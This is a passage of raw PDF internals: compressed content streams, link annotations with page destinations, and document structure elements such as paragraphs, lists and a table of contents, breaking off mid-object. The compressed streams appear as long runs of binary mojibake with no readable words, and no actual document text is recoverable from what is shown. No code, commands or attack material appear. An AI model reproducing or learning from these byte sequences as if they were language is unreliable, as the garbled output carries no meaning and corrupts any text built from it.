Nd*\>[glt>;>H>b|b~]š䳱K2y-6Y|6S.-poe]$j6E(A8½(=ѝ{mIpJDd4+&zG 9TMЄ*n20qH5;Jrz<)#b1psMCL.ۏ%0x4nr|A“MLa> +stream +x]krFATU6ò1x,{~T]I{GMFs*<n$22_& +gw/.w_=..~Wpgo[}wqu]n<^_[ߟ_(>>}RqѴEUt /(k^ܯ>'>}r}tO0E\`++Yu_SQT_V1.>}'xKOOd߇6kӕ\ѳQW"ifuZܭN+q^Slvb՜kuvtŪ= +z~.o1Eo7\n/|[ѝq ? l+0(U֕!it/]F{ztHlYvR4UdQ-R/Eqv7y6\RCI^=ӷe[U9Crϼ\U%q_TGn DY$ınW*'\1jvt=-2h~3i}qjjix>-6`IOjE ՉCwJŠ T]jN7]ڲԥm+p.,E5^Y߷,{R^mJ)F/xaL 뛋5UTjjG?jʕ[ˢUU~ &a}Lw`o^~YTԲ$*G*^B6e#@'(0f&FK)=Ht9!Mٺ7z q _w)y:聓tݕu鐋kMu[_]\K^(D=8dNȔ0#ZZtQ 0 + lM_R~"z>}8wE6BmHLzu!ڂkHQCvoC>.ZԘjq}G]vܛ#5h5EcBO-EYbaR7dї{Yj SJ2.V]NFL,QOL")\Ԡo6WGtlyĂG\4 DE}aN椂EeL5m;$ilġf=:;QiM'.9o +s-3^14F3Ok՝%-n]uv1KoěVGy|P' TͮXuj!_tjrJEWYƊo[wF 8x_!Gnjz \OuZk5;ߪ?6?2ۜC||]=ބZmftAJ^qJQl7񾔋48L Cc[4K ])~{Cg!"P{!E_68ǐ!9 "u? "YF1(?|_QXoĴk'?Bvx6=3qF шL#7sUG_ +Yn`t`_O[j޶rE׋m&t$\s]mo]Z0QOp[#խL= %qK ƻ<gLwnm mA~$l;5ԟGIֱY}1uœkY6יAJ6FNѷE"n[_5FMx69B7[ +BwB )閵 r"}ixlY~M-;җ9~xJCsW&MAurM}J #̐IRNbBPJ3A!QNp!ȅ"?jBuZ*ɳ]c>)w'–N@ VT k ZqyݏG6"nt¾V~dt=8yڃ|F8HZI)0/)=9f⼄^[ E/熤w]5k^$N9=Y!o0.8l$1OF kkcn葙Zf?8y%TI|~ý޼5WF%r +[M_֭Kr}5ce_/]j$ک9fGp!`ަ?|nke0f I[KsfOz )k{}bBAQިy·Tk m9ex[iUwSCcMOnLXBVd>ګMx{B2`E\1-1AJW ,ҙ^0m] Rdshh;8{.ma)MJ7g-e 0,e)Zw),sAKYVꢮEBtxo*oϞ E=. 9 +>I@]YZh^PY*d"(ᾂ5)4ˬ;smf +[If? :Ђ@nur'mr^LwDE56 .UqIS iFpX-;[ʲD&m(`bc\6QB͊G(;ݫ?ý"֕^]}%~}OyL"I2^g5sin`)Z=&]G3h頜Ý {@/oB??& p?nV'E_.>-F(3Mcq=Өw&qm4㳸p/5l G#/ AQk&-, fy\.omZݦYd?OUu$2ɏc0xx,؄}qx*hٕ[9v6+rؾ:G&qDq_wΡAO0}.Kl.Pa>/Ư_5S#nu,iX-;Îz'^(ڝH&5T!+3';6׍g)]nu%9C]o2=L9튑[nprM#i` ՠ^bZ/fm<η ߐ7v}apV@-: #PtŤk [c'&Y'CU XkfO4\ﶿ/1*q]yv}"7s?E&F6wfTlhBsH "7ǾõRB`p3'$U2< + x0 f3u;'7_=?9Pf0Un*@; ;北 +$/8l؀zN<hzXDYM7hzP2ei4HK#i!4tBc x +MG* L_*tl0}LO::NMY9ԒʂsLJ7V\*O6kN]B`SL/f:29gԣbo'P_֢I>08[ SGoewF +XrG1q'rI~Or aUG|$u/T2k稑p +!mYŦaŒ~#x'HX'Lci ֑[>FE>ERsCϛ>]:Ue3mWQhvn:I|EoCoݼ\WWfu\S*! |$d2Nm{hևx/5IYIe5k}.a6#9TVPav_tO0'cj +@yX2ez54dHh'Gz9S :zX") :A(7k}6aUQJ) Mʂ.p$>+HVY ,]Rpnݛ#'Bp8N BXxXa_'ER[XΌ%utaaia"|20Jho"qJ251&fD+ˉ +endstream +endobj +424 0 obj +<< +/BS << +/W 0 +>> +/Dest [42 0 R /XYZ 40 606 0] +/F 4 +/Rect [260.2 407.7 282.71 418.59] +/StructParent 296 +/Subtype /Link +>> +endobj +425 0 obj +<< +/Length 3227 +/Filter /FlateDecode +>> +stream +x[]n9~7;zj5$ 8&L`4%ǒL{=$gتnYJcjYUf~I^lWɇٻr[-g~Ir,||g9Ǹe'Z,dVqq|whvΒ*:9>b@',a\gJ$=P~5,ҧ~z}|a$8>h4]hX8г" VhLj\S1YS9c + ?s2@+(;)EVtZLpߟRi~ ali96FW$$-'ip"/:eHnkz`I~:Kg%~zxvEy&W#^m}!:")E1t;ZOs"t٬|0>@.,<*]Yܒ)͹J.>LJu@FG{j2sQ7z}pVe&(hTY8<>,1J}3v`@ES>LN?:3eB4xb'EwXWmc0dH̔ ;k5ZZ`0V~}#V4;ʤK ]~y7k r좏g2 {t|dSUh&oBBxL3H 蹜::a &.Mp5Ǭ1e/8JψnWqYaAo-o`hpƔOI +$ +Nm|8q<:vBJ/'OdYPR0俥LnV.j C_^0"7&Ϡs8!VOke9>-:LĿ3qlD$+h&F@,D@7;N/VǰǬöꁹ8koLX¶Oփs}s?=%Zs t="m7S)ڷT6SuMUtXk{Q:yeީ~;&.+|Iul6m4⫙x7'QIWR#wuԽB`/*F^"v]UzҍVmdufϪk7]^b]4)q5﶑WX"\"ڕu~5|L5RXַQÜ|3ֿ'Czd+ֲ]U+z /vy2\hgW1}KETAkȢxsݽ\ h8D--TZOQcF$1!cz)"qlh8Xd9ãQX>LK88=p> +/Dest [15 0 R /XYZ 82 84 0] +/F 4 +/Rect [82.85 651.76 554.55 668.76] +/StructParent 298 +/Subtype /Link +>> +endobj +427 0 obj +<< +/BS << +/W 0 +>> +/Dest [16 0 R /XYZ 40 601 0] +/F 4 +/Rect [82.85 634.76 554.55 651.76] +/StructParent 299 +/Subtype /Link +>> +endobj +428 0 obj +<< +/BS << +/W 0 +>> +/Dest [25 0 R /XYZ 82 215 0] +/F 4 +/Rect [82.85 617.76 554.55 634.76] +/StructParent 300 +/Subtype /Link +>> +endobj +429 0 obj +<< +/BS << +/W 0 +>> +/Dest [28 0 R /XYZ 40 253 0] +/F 4 +/Rect [82.85 600.76 554.55 617.76] +/StructParent 301 +/Subtype /Link +>> +endobj +430 0 obj +<< +/BS << +/W 0 +>> +/Dest [31 0 R /XYZ 82 365 0] +/F 4 +/Rect [82.85 583.76 554.55 600.76] +/StructParent 302 +/Subtype /Link +>> +endobj +431 0 obj +<< +/BS << +/W 0 +>> +/Dest [33 0 R /XYZ 82 623 0] +/F 4 +/Rect [82.85 566.76 554.55 583.76] +/StructParent 303 +/Subtype /Link +>> +endobj +432 0 obj +<< +/BS << +/W 0 +>> +/Dest [39 0 R /XYZ 14 279 0] +/F 4 +/Rect [82.85 549.76 554.55 566.76] +/StructParent 304 +/Subtype /Link +>> +endobj +433 0 obj +<< +/BS << +/W 0 +>> +/Dest [40 0 R /XYZ 40 165 0] +/F 4 +/Rect [82.85 532.76 554.55 549.76] +/StructParent 305 +/Subtype /Link +>> +endobj +434 0 obj +<< +/BS << +/W 0 +>> +/Dest [43 0 R /XYZ 82 631 0] +/F 4 +/Rect [82.85 515.76 554.55 532.76] +/StructParent 306 +/Subtype /Link +>> +endobj +435 0 obj +<< +/BS << +/W 0 +>> +/Dest [48 0 R /XYZ 40 489 0] +/F 4 +/Rect [82.85 498.76 554.55 515.76] +/StructParent 307 +/Subtype /Link +>> +endobj +436 0 obj +<< +/BS << +/W 0 +>> +/Dest [50 0 R /XYZ 40 632 0] +/F 4 +/Rect [82.85 481.76 554.55 498.76] +/StructParent 308 +/Subtype /Link +>> +endobj +437 0 obj +<< +/BS << +/W 0 +>> +/Dest [52 0 R /XYZ 40 632 0] +/F 4 +/Rect [82.85 464.76 554.55 481.76] +/StructParent 309 +/Subtype /Link +>> +endobj +438 0 obj +<< +/BS << +/W 0 +>> +/Dest [54 0 R /XYZ 40 632 0] +/F 4 +/Rect [82.85 447.76 554.55 464.76] +/StructParent 310 +/Subtype /Link +>> +endobj +439 0 obj +<< +/BS << +/W 0 +>> +/Dest [55 0 R /XYZ 82 173 0] +/F 4 +/Rect [82.85 430.76 554.55 447.76] +/StructParent 311 +/Subtype /Link +>> +endobj +440 0 obj +<< +/BS << +/W 0 +>> +/Dest [57 0 R /XYZ 82 308 0] +/F 4 +/Rect [82.85 413.76 554.55 430.76] +/StructParent 312 +/Subtype /Link +>> +endobj +441 0 obj +<< +/BS << +/W 0 +>> +/Dest [61 0 R /XYZ 82 230 0] +/F 4 +/Rect [82.85 396.76 554.55 413.76] +/StructParent 313 +/Subtype /Link +>> +endobj +442 0 obj +<< +/BS << +/W 0 +>> +/Dest [62 0 R /XYZ 40 352 0] +/F 4 +/Rect [82.85 379.76 554.55 396.76] +/StructParent 314 +/Subtype /Link +>> +endobj +443 0 obj +<< +/BS << +/W 0 +>> +/Dest [63 0 R /XYZ 82 437 0] +/F 4 +/Rect [82.85 362.76 554.55 379.76] +/StructParent 315 +/Subtype /Link +>> +endobj +444 0 obj +<< +/BS << +/W 0 +>> +/Dest [64 0 R /XYZ 40 324 0] +/F 4 +/Rect [82.85 345.76 554.55 362.76] +/StructParent 316 +/Subtype /Link +>> +endobj +445 0 obj +<< +/BS << +/W 0 +>> +/Dest [64 0 R /XYZ 40 115 0] +/F 4 +/Rect [82.85 328.76 554.55 345.76] +/StructParent 317 +/Subtype /Link +>> +endobj +446 0 obj +<< +/BS << +/W 0 +>> +/Dest [66 0 R /XYZ 40 292 0] +/F 4 +/Rect [82.85 311.76 555.05 328.76] +/StructParent 318 +/Subtype /Link +>> +endobj +447 0 obj +<< +/BS << +/W 0 +>> +/Dest [66 0 R /XYZ 40 292 0] +/F 4 +/Rect [82.85 298.76 554.55 311.76] +/StructParent 319 +/Subtype /Link +>> +endobj +448 0 obj +<< +/BS << +/W 0 +>> +/Dest [67 0 R /XYZ 82 471 0] +/F 4 +/Rect [82.85 281.76 555.05 298.76] +/StructParent 320 +/Subtype /Link +>> +endobj +449 0 obj +<< +/BS << +/W 0 +>> +/Dest [67 0 R /XYZ 82 471 0] +/F 4 +/Rect [82.85 268.76 554.55 281.76] +/StructParent 321 +/Subtype /Link +>> +endobj +450 0 obj +<< +/BS << +/W 0 +>> +/Dest [68 0 R /XYZ 40 612 0] +/F 4 +/Rect [82.85 251.76 555.05 268.76] +/StructParent 322 +/Subtype /Link +>> +endobj +451 0 obj +<< +/BS << +/W 0 +>> +/Dest [68 0 R /XYZ 40 612 0] +/F 4 +/Rect [82.85 238.76 554.55 251.76] +/StructParent 323 +/Subtype /Link +>> +endobj +452 0 obj +<< +/BS << +/W 0 +>> +/Dest [69 0 R /XYZ 82 454 0] +/F 4 +/Rect [82.85 221.76 554.55 238.76] +/StructParent 324 +/Subtype /Link +>> +endobj +453 0 obj +<< +/BS << +/W 0 +>> +/Dest [69 0 R /XYZ 82 113 0] +/F 4 +/Rect [82.85 204.76 554.55 221.76] +/StructParent 325 +/Subtype /Link +>> +endobj +454 0 obj +<< +/BS << +/W 0 +>> +/Dest [70 0 R /XYZ 40 93 0] +/F 4 +/Rect [82.85 187.76 554.55 204.76] +/StructParent 326 +/Subtype /Link +>> +endobj +455 0 obj +<< +/BS << +/W 0 +>> +/Dest [71 0 R /XYZ 82 140 0] +/F 4 +/Rect [82.85 170.76 554.55 187.76] +/StructParent 327 +/Subtype /Link +>> +endobj +456 0 obj +<< +/BS << +/W 0 +>> +/Dest [72 0 R /XYZ 40 356 0] +/F 4 +/Rect [82.85 153.76 554.55 170.76] +/StructParent 328 +/Subtype /Link +>> +endobj +457 0 obj +<< +/BS << +/W 0 +>> +/Dest [82 0 R /XYZ 45 392 0] +/F 4 +/Rect [82.85 136.76 554.55 153.76] +/StructParent 329 +/Subtype /Link +>> +endobj +458 0 obj +<< +/Length 4300 +/Filter /FlateDecode +>> +stream +x]nF7w]9dH^PdK%uJ}>I;gCxF3 l8I|sf}3 ^=,&7"yb1:N>]9v2.&ه~<?'\$di\$KD!RF4_%ӓW'goIReH-Chk2ir*/Ao l2^7r@qEh" 9ψĩ"E>zd;~Уe6C+}Hu_w 9%0  +qFsyWl< ~m?dClH+jZ{aԙS5G\t׃c>(ЪYd2pҐ5d󈏱`HǂHȘxXc#ާxߏ&P,o'.aA >6+Eq_Ai_Yӱcv +f#xÞ4K ;.gY}>q@=k^W2H:I널0tIOh(,xD'nr_kb6 ;c.;7F}B[Lx6 NVbM6,nGWC?.mjkt]ޤjXkx>X N8om/ B+7c)g_?h(@dzņeW{qZQv5v+~[R 0Ҝ9Ғ\uȊ` -G2Wq_3>BLiF⛾8z @.m/ +iCw t&,(}[NZzoxźͨ\CEs);<C 3]; !K8tv 6QgfzB6hÑh7s9TdٮmZt_iJVgfK=Dy@-̧2`r=%}rv<,0lK/Ӿ^s]HvXm,L EՈ O)#;! .= T<~s//JL\2^ƣl@h^ +Ukҗel+y1ͱU\M;.2E`[j+%/:F";!]DRh1ܷ_w@[./^ݒp֘%y {Lofv(}њ.^W VcSqM7*`J7w\2=W,mrՆਖQ-~ !E +EfPm7Gnޛ+DA,#iotN7}җMQ<_zXz$1O}0\s-(L:jU3`%^`q q( ,~4~K6 +GvBH?Si|">M M)͙>Uγ3J;<B=Y2ҿ<.]Fa@[nw)NDN=X,o8|^7FHf:!Dl)BR~R,].)s|фi1*| @x !|/sY,S$}#S`=`\EM;\฽.sNp;C%s~HѸoh܎ۥg9`[j4.p.?gR޴rR4n;Xޒ[u;q!bq{Kq{:nOc#;!il!<V>ss~XRqv%~ !nGOr"a5k3nq)E,noɭ}:`F=삒v\*B܎KeE<&#r{R,n{|ll꼾|ag潥9(J;fs攙ܰweZP99iʭ%溰D[K,fJ u[Kp- +3,#?*!ES9D\[&n]+&CkLT0ח%0@Zc9(]I@-]I>sG&ǖ<1Gu)ODvBSL桓<.9!E#G9?uaڼ&]ۻ-x&ej~ûwlY,seٶ9WwQU\WqyǕ%8 ;QeBADvB*3#E\CF2v +-I"ҎɦfxsS]WDPsdnPbo+MVC,gkTE-U#!Mi?d'=>5Ӹ++rlu\({jv!^*vl^s]]p瀹(b)EK)E{+~ !O"8A͂B!P؏(Pͽ3oBYm7e 3؝6Q ,~j0p;d5( +"ñW> q?^ ,StO +^[ȼL6ǪV[sM_Ee{Heq[dBqE=&4 K XnDKu#E.="B& n@$ӜSu# @Տk؏X) = ƭOKZ Vl%“:}z;ћ8݃pS_k/T߻.Kҽ VJzX$IoN NI:*!q| EtK%%?uB;Iz9Io,z$nE?O !IGC3$=Jh7Ofû*ϼiN7x^iZtj410X:k-86 ;aݛ$d'} a366>)ͽ >yO˗ ~(v-V*5+L@n+z`[^pެ?! !VDB׷͊qW bŀ7xϨZtu1K^uK DkXh]CnUg`wN%P"1q[P2:&O[ԑ`bS'5c!e/nG~q~C~VOWf}8Fx厀0m9Q;^nA`LE)KEZj*NE$9AsuۈHL1CB)&B6])M6~.WaV/t}v =ykj!+j=]~.\;.SD&SI,-5,BI)?gC~UHh؊h ]֞žUJEk^sǝv2LI]/Hh8ubEKE^ZϷ";;# +endstream +endobj +459 0 obj +<< +/BS << +/W 0 +>> +/Dest [13 0 R /XYZ 82 68 0] +/F 4 +/Rect [40.3 695.3 512 712.3] +/StructParent 331 +/Subtype /Link +>> +endobj +460 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 346 0] +/F 4 +/Rect [40.3 678.3 512.5 695.3] +/StructParent 332 +/Subtype /Link +>> +endobj +461 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 346 0] +/F 4 +/Rect [40.3 665.3 512 678.3] +/StructParent 333 +/Subtype /Link +>> +endobj +462 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 581 0] +/F 4 +/Rect [40.3 648.3 512 665.3] +/StructParent 334 +/Subtype /Link +>> +endobj +463 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 427 0] +/F 4 +/Rect [40.3 631.3 512 648.3] +/StructParent 335 +/Subtype /Link +>> +endobj +464 0 obj +<< +/BS << +/W 0 +>> +/Dest [24 0 R /XYZ 40 336 0] +/F 4 +/Rect [40.3 614.3 512 631.3] +/StructParent 336 +/Subtype /Link +>> +endobj +465 0 obj +<< +/BS << +/W 0 +>> +/Dest [26 0 R /XYZ 40 482 0] +/F 4 +/Rect [40.3 597.3 512 614.3] +/StructParent 337 +/Subtype /Link +>> +endobj +466 0 obj +<< +/BS << +/W 0 +>> +/Dest [27 0 R /XYZ 82 416 0] +/F 4 +/Rect [40.3 580.3 512 597.3] +/StructParent 338 +/Subtype /Link +>> +endobj +467 0 obj +<< +/BS << +/W 0 +>> +/Dest [29 0 R /XYZ 82 569 0] +/F 4 +/Rect [40.3 563.3 512 580.3] +/StructParent 339 +/Subtype /Link +>> +endobj +468 0 obj +<< +/BS << +/W 0 +>> +/Dest [30 0 R /XYZ 40 412 0] +/F 4 +/Rect [40.3 546.3 512 563.3] +/StructParent 340 +/Subtype /Link +>> +endobj +469 0 obj +<< +/BS << +/W 0 +>> +/Dest [33 0 R /XYZ 82 259 0] +/F 4 +/Rect [40.3 529.3 512.5 546.3] +/StructParent 341 +/Subtype /Link +>> +endobj +470 0 obj +<< +/BS << +/W 0 +>> +/Dest [33 0 R /XYZ 82 259 0] +/F 4 +/Rect [40.3 516.3 512 529.3] +/StructParent 342 +/Subtype /Link +>> +endobj +471 0 obj +<< +/BS << +/W 0 +>> +/Dest [43 0 R /XYZ 82 159 0] +/F 4 +/Rect [40.3 499.3 512 516.3] +/StructParent 343 +/Subtype /Link +>> +endobj +472 0 obj +<< +/BS << +/W 0 +>> +/Dest [44 0 R /XYZ 40 213 0] +/F 4 +/Rect [40.3 482.3 512 499.3] +/StructParent 344 +/Subtype /Link +>> +endobj +473 0 obj +<< +/BS << +/W 0 +>> +/Dest [45 0 R /XYZ 82 342 0] +/F 4 +/Rect [40.3 465.3 512 482.3] +/StructParent 345 +/Subtype /Link +>> +endobj +474 0 obj +<< +/BS << +/W 0 +>> +/Dest [48 0 R /XYZ 40 198 0] +/F 4 +/Rect [40.3 448.3 512 465.3] +/StructParent 346 +/Subtype /Link +>> +endobj +475 0 obj +<< +/BS << +/W 0 +>> +/Dest [50 0 R /XYZ 40 343 0] +/F 4 +/Rect [40.3 431.3 512 448.3] +/StructParent 347 +/Subtype /Link +>> +endobj +476 0 obj +<< +/BS << +/W 0 +>> +/Dest [52 0 R /XYZ 40 342 0] +/F 4 +/Rect [40.3 414.3 512 431.3] +/StructParent 348 +/Subtype /Link +>> +endobj +477 0 obj +<< +/BS << +/W 0 +>> +/Dest [54 0 R /XYZ 40 345 0] +/F 4 +/Rect [40.3 397.3 512 414.3] +/StructParent 349 +/Subtype /Link +>> +endobj +478 0 obj +<< +/BS << +/W 0 +>> +/Dest [56 0 R /XYZ 40 476 0] +/F 4 +/Rect [40.3 380.3 512 397.3] +/StructParent 350 +/Subtype /Link +>> +endobj +479 0 obj +<< +/BS << +/W 0 +>> +/Dest [58 0 R /XYZ 40 476 0] +/F 4 +/Rect [40.3 363.3 512 380.3] +/StructParent 351 +/Subtype /Link +>> +endobj +480 0 obj +<< +/BS << +/W 0 +>> +/Dest [59 0 R /XYZ 82 209 0] +/F 4 +/Rect [40.3 346.3 512 363.3] +/StructParent 352 +/Subtype /Link +>> +endobj +481 0 obj +<< +/BS << +/W 0 +>> +/Dest [60 0 R /XYZ 40 286 0] +/F 4 +/Rect [40.3 329.3 512 346.3] +/StructParent 353 +/Subtype /Link +>> +endobj +482 0 obj +<< +/BS << +/W 0 +>> +/Dest [61 0 R /XYZ 82 424 0] +/F 4 +/Rect [40.3 312.3 512 329.3] +/StructParent 354 +/Subtype /Link +>> +endobj +483 0 obj +<< +/BS << +/W 0 +>> +/Dest [62 0 R /XYZ 40 524 0] +/F 4 +/Rect [40.3 295.3 512 312.3] +/StructParent 355 +/Subtype /Link +>> +endobj +484 0 obj +<< +/BS << +/W 0 +>> +/Dest [63 0 R /XYZ 82 523 0] +/F 4 +/Rect [40.3 278.3 512 295.3] +/StructParent 356 +/Subtype /Link +>> +endobj +485 0 obj +<< +/Length 3641 +/Filter /FlateDecode +>> +stream +x]r}WaيF\\Ekkȶ6yd,R%qKL|@И"F4@T& N79xl:]ɓgyix}<>z|Yj4Gosx1>}="rx&)W9H*<*$ORM.'80 Р 7_ڴ^J1dRJ<[ZtP>lrD~zH?eYn^gBg) r8 Yց,Q"4D)Dڟ-*i02>'DKK:rJ{?%^ jX3)X8<ݍ1OKu]R.+1݇4vZ#=IV3oB־0ujTrYբ71(=~_Eыv|"K0@ѾpW\c2~K/wkW`-\B;9|rvg v yYao#Iה@՝( tK~mወ1xd"0 q1N#Ό+?,86BEejW~暑*{YtLN^LZ99iI̛*&J[̅%4+IX0`ieF…*-"721]y3+ϸ53nqMΘpoxhfO1K\6.8&ld?:3t<: u8Gt6 Xo>0!NcoDmDTfc2[nUJg̱] ` 3'4kWLyje>zC@6hnLExmQ;0544M\=}8c$Y-n.TY+Rfd +5 R8%"n-X_6@R5}=H"E}1^Z\PIM`a"OrIVBW|FmI7% B=i!4DF+i5Fnq6^s~SP㬆jYjtޖ9fAݪ({ё\OT>=iq%s{"PV %-KXz:?AzR?|%VS@%encIZj. iq;vӤ@&n+Y/45,=_ |UY&OG4=Sp/l~ЏŦnMN\.B isݢmwUﱂL۠tNB@ N7(ο [\(^@˨1w[BfEnw4͌'BakfDޭ.}ibCl8:Z K]EG:[YKGmdFI&6FGĩd,;Qug#vHZZ8nE &҂Cɛ0-.1TCMggP_P冶|1O⌱~[QzolҞk=nifCąClxg-Oȶwieb# Z9t@TFnq+T7ܬyk.`oRu=\LuSZ"$/'A3Jq7w9N4э lÛ[n֙z ϩaewTk{u]ΓR`/L"nGu]DŤdѶ@MdཷH[ao 6P7ꁸU恸["cfr#ߢ1.̮Q==7iԢ056?gҚ֛>:?Fw!fwtٟfyգNO>9ܼoY Qk!6.#{!U{&IAu -]'C H5;֦&{^tgy Pj|rm}(CLCD FM C[6/ 6F E2˻'ޘJ n[cݽ8̓)l>5h6[ލ20^/0%F#& gR\z̎.uZptkRBB \Nlt,asQn:T*U.x-. 00\&N KAJG\μ[Eo 7ˁK^@bq 铟Fp:љ+.UnqpY|h,..o/\4,[\n= +GZ#`L{psˈp 巀ˡe}mˡ{z_j7Jg32q6Sq+.UnqpY}h,..o/\4,[\nI\y?!q 37\v3E܍:_![6%qq}+Jj7>]sR`R&tR +O1=TȠa"@֒ WK2m71I$&0!Nb +e󭈊H-Q @5EQhyhUAsU>(ঁP^2-nb{akE1_hX{nArEgH>qT0=ýETnqkWތ$@nM :oJ[ENF5+bE=X#<!P0wBx)6js Fx:[=Vk+kq/R0iGzQ&<^ /ksۂV/X=%9CY io)nVBxki}b2< 2dU|C*v?zӣcbBF٠Ŏ +endstream +endobj +486 0 obj +<< +/K [0] +/P 85 0 R +/Pg 7 0 R +/S /P +/Type /StructElem +>> +endobj +487 0 obj +<< +/K [1] +/P 85 0 R +/Pg 7 0 R +/S /P +/Type /StructElem +>> +endobj +488 0 obj +<< +/K [2] +/P 85 0 R +/Pg 7 0 R +/S /P +/Type /StructElem +>> +endobj +489 0 obj +<< +/K [3] +/P 85 0 R +/Pg 7 0 R +/S /P +/Type /StructElem +>> +endobj +490 0 obj +<< +/K [0] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +491 0 obj +<< +/K [1155 0 R 1185 0 R 1157 0 R] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +492 0 obj +<< +/K [4] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +493 0 obj +<< +/K [5] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +494 0 obj +<< +/K [6] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +495 0 obj +<< +/K [1158 0 R 1186 0 R 1160 0 R] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +496 0 obj +<< +/K [10] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +497 0 obj +<< +/K [4082 0 R 4083 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +498 0 obj +<< +/K [31] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +499 0 obj +<< +/K [32] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +500 0 obj +<< +/K [33] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +501 0 obj +<< +/A 4084 0 R +/K [4085 0 R 4086 0 R 4087 0 R 4088 0 R] +/P 85 0 R +/Pg 8 0 R +/S /L +/Type /StructElem +>> +endobj +502 0 obj +<< +/K [40] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +503 0 obj +<< +/K [41] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +504 0 obj +<< +/K [42] +/P 85 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +505 0 obj +<< +/K [0] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +506 0 obj +<< +/K [1] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +507 0 obj +<< +/K [2] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +508 0 obj +<< +/K [3] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +509 0 obj +<< +/K [4] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +510 0 obj +<< +/K [5] +/P 85 0 R +/Pg 9 0 R +/S /P +/Type /StructElem +>> +endobj +511 0 obj +<< +/K [0] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +512 0 obj +<< +/K [1] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +513 0 obj +<< +/K [2] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +514 0 obj +<< +/K [3] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +515 0 obj +<< +/A 4089 0 R +/K [4090 0 R 4091 0 R 4092 0 R 4093 0 R 4094 0 R 4095 0 R 4096 0 R] +/P 85 0 R +/Pg 10 0 R +/S /L +/Type /StructElem +>> +endobj +516 0 obj +<< +/K [11] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +517 0 obj +<< +/K [12] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +518 0 obj +<< +/A 4097 0 R +/K [4098 0 R 4099 0 R 4100 0 R 4101 0 R] +/P 85 0 R +/Pg 10 0 R +/S /L +/Type /StructElem +>> +endobj +519 0 obj +<< +/K [17] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +520 0 obj +<< +/K [18] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +521 0 obj +<< +/K [19] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +522 0 obj +<< +/K [1198 0 R 1202 0 R 1200 0 R] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +523 0 obj +<< +/K [1201 0 R] +/P 85 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +524 0 obj +<< +/K [0] +/P 85 0 R +/Pg 11 0 R +/S /P +/Type /StructElem +>> +endobj +525 0 obj +<< +/K [1203 0 R 4102 0 R 4103 0 R 4104 0 R 4105 0 R 4106 0 R 4107 0 R 4108 0 R 4109 0 R 4110 0 R +4111 0 R 4112 0 R 4113 0 R 4114 0 R 4115 0 R 4116 0 R 4117 0 R 4118 0 R 4119 0 R 4120 0 R +4121 0 R 4122 0 R 4123 0 R 4124 0 R 4125 0 R 4126 0 R 4127 0 R 4128 0 R 4129 0 R 4130 0 R +4131 0 R 4132 0 R 4133 0 R 4134 0 R 4135 0 R 4136 0 R 4137 0 R 4138 0 R 4139 0 R 4140 0 R +4141 0 R 4142 0 R 4143 0 R 4144 0 R 4145 0 R 4146 0 R 4147 0 R 4148 0 R 4149 0 R 4150 0 R +4151 0 R 4152 0 R 4153 0 R 4154 0 R 4155 0 R 4156 0 R 4157 0 R 4158 0 R 4159 0 R 4160 0 R +4161 0 R 4162 0 R 4163 0 R 4164 0 R 4165 0 R 4166 0 R 4167 0 R 4168 0 R 4169 0 R 4170 0 R +4171 0 R 4172 0 R 4173 0 R 4174 0 R 4175 0 R 1425 0 R] +/P 85 0 R +/Pg 11 0 R +/S /TOC +/Type /StructElem +>> +endobj +526 0 obj +<< +/K [84] +/P 85 0 R +/Pg 12 0 R +/S /P +/Type /StructElem +>> +endobj +527 0 obj +<< +/K [1456 0 R 1457 0 R 1458 0 R] +/P 85 0 R +/Pg 13 0 R +/S /H1 +/Type /StructElem +>> +endobj +528 0 obj +<< +/K [3] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +529 0 obj +<< +/K [4] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +530 0 obj +<< +/K [1459 0 R 1462 0 R 1461 0 R] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +531 0 obj +<< +/K [8] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +532 0 obj +<< +/K [9] +/P 85 0 R +/Pg 13 0 